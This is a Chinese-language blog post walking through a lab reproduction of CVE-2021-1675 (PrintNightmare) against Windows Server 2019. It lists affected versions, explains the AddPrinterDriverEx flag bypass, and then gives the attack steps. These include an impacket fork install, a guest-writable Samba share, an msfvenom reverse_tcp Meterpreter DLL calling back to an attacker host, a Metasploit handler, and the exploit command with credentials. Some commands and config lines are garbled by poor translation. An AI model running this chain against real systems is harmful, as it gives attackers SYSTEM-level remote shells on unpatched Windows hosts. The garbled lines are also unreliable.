美文网首页
CVE-2021-1675 Windows Print Spoo

CVE-2021-1675 Windows Print Spoo

作者: 瑶看此水一桩红 | 来源:发表于2021-11-19 04:08 被阅读0次

0x01 漏洞参考:

https://github.com/cube0x0/CVE-2021-1675

https://b23.tv/ECj2lA

影响版本:

Windows Server 2012 R2(服务器核心安装)

Windows Server 2012 R2

Windows Server 2012(服务器核心安装)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1(服务器内核安装))

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2(服务器内核安装)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32- bit Systems Service Pack 2(服务器内核安装)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows RT 8.1

适用于基于x64系统的

Windows 8.1 > 适用于32位系统的Windows 8.1

适用于基于x64系统的

Windows 7 Service Pack 1 > 适用于32位系统的Windows 7 Service Pack 1

Windows Server 2016(服务器核心安装)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 for based ARM64 的系统

版本 20H2 > 用于 32 位系统的

Windows 10 版本 20H2 > 适用于 x64 系统的 Windows 10 版本 20H2

Windows Server,版本 2004(服务器内核安装)

Windows 10 Version 2004 for x64-based Systems

Windows 10 Version 2004 for ARM64-

bit Systems

Windows 10 Version 2004 for 32-bit Systems > Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based systems

Windows 10 Version 21H1 for x64-based systems

Windows 10 Version 1909 for ARM64-based systems

适用于 x64

位系统的

Windows 10 Version 1909 > 适用于 32位系统的Windows 10 Version 1909 > Windows Server 2019(服务器核心安装)

Windows Server 2019

适用于基于 ARM64 的系统的

Windows 10 Version 1809 > 适用于 x64 的 Windows 10 Version 1809 -based Systems

Windows 10 Version 1809 for 32-bit Systems

0x02 漏洞原理:

该漏洞发生在 AddPrinterDriverEx 函数,它共有三个参数,其中第三个参数是标志,该标志有一个特殊的值在官方文档中出现:APD_INSTALL_WARNED_DRIVER = 0x00008000。根据图 1 中的代码逻辑,在调用InternalAddPrinterDriverEx之前,会通过bittest对标志的0xf位进行验证。如果是1的话,则V12的值仍然为0,可以绕过第24行中对访问的检查,成功调用InternalAddPrinterDriverEx。

微软在6月8日修复了该漏洞,具体是在AddPrinterDriverEx中加入了权限的权限,重点在于YIsElevated、YIsElevationRequered和RunningAsLUA三个函数,当v12==0、v13==1v9==1 ,flag中的0x8000会&被删除,直到当天调用到SplAddPrinterDriverEx时权限失败,阻止了漏洞发生。

该漏洞点在于,调用YAddPrinterDriverEx函数,没有对参数dwFileCopyFlags做验证,使用APD_INSTALL_WARNED_DRIVER 标志,导致通过对合法性开启,可以任意的加载DLL,并且系统权限。

0x03现复:

复现环境:

我们需要一个linux

受害机:window2019(192.168.3.103)

服务机:Debian11( 192.168.3.104),配置可无密码访问的共享文件夹。

攻击机:kali(192.168.3.102)

(环境全在虚拟机中)

下载捕捉漏洞POC,并且执行GitHub指导指定依赖。

安装他的

impacket pip3 uninstall impacket

git clonehttps://github.com/cube0x0/impacket

cd impacket

python3 ./setup.py install

将Poc复制到Kali上

另一台机器配置一下samba(Debian11)

su

apt install samba

apt install samba-client

gedit /etc/samba /smb.conf

修改smb.conf的内容如下

[global]

map to guest = Bad User

server role = standalone server

usershare allow guest = yes

idmap config * : backend = tdb

smb ports = 445

[smb]

评论 = 桑巴

路径 = /tmp/

guest ok = yes

read only = no

browsable = yes

create mask = 0777

directory mask = 0775

guest ok = yes

打开Kali,生成木马并配置网络

msfVENOM-p windows/x64/meterpreter/reverse_tcp LHOST=192.168. 3.102 LPORT=9999 -f dll -o y.dll

进入msfconsole

Msfconsolehandler -p windows/x64/meterpreter/reverse_tcp -H192.168.3.102-P9999

然后,上传恶意DLL文件到共享文件夹中(如果是Windows我们也可以通过手动的方式)

scp y.dll root@192.168.3.104:/tmp/

(上述操作需要开启SSH)

上传y.dll到tmp目录

启动WindowsServer2019

防火墙

防火墙Spooler服务

启动攻击脚本:

python3 CVE-2021-1675.py Users/M:Moxin123..@192.168.3.103 “\\192.168.3.104\smb\y.dll”

如果没有启动Spooler,回显是这样的:

如果连接用户失败,回显和上面相同。

不过影响不了我们

成功连接Msfconsole

后续我们会话-i 1

就可以使用Meterpreter

0x04

总结了这个自己漏洞的内网复现就成功了,Payload在2019上是很好用的。

相关文章

网友评论

      本文标题:CVE-2021-1675 Windows Print Spoo

      本文链接:https://www.haomeiwen.com/subject/gkkstrtx.html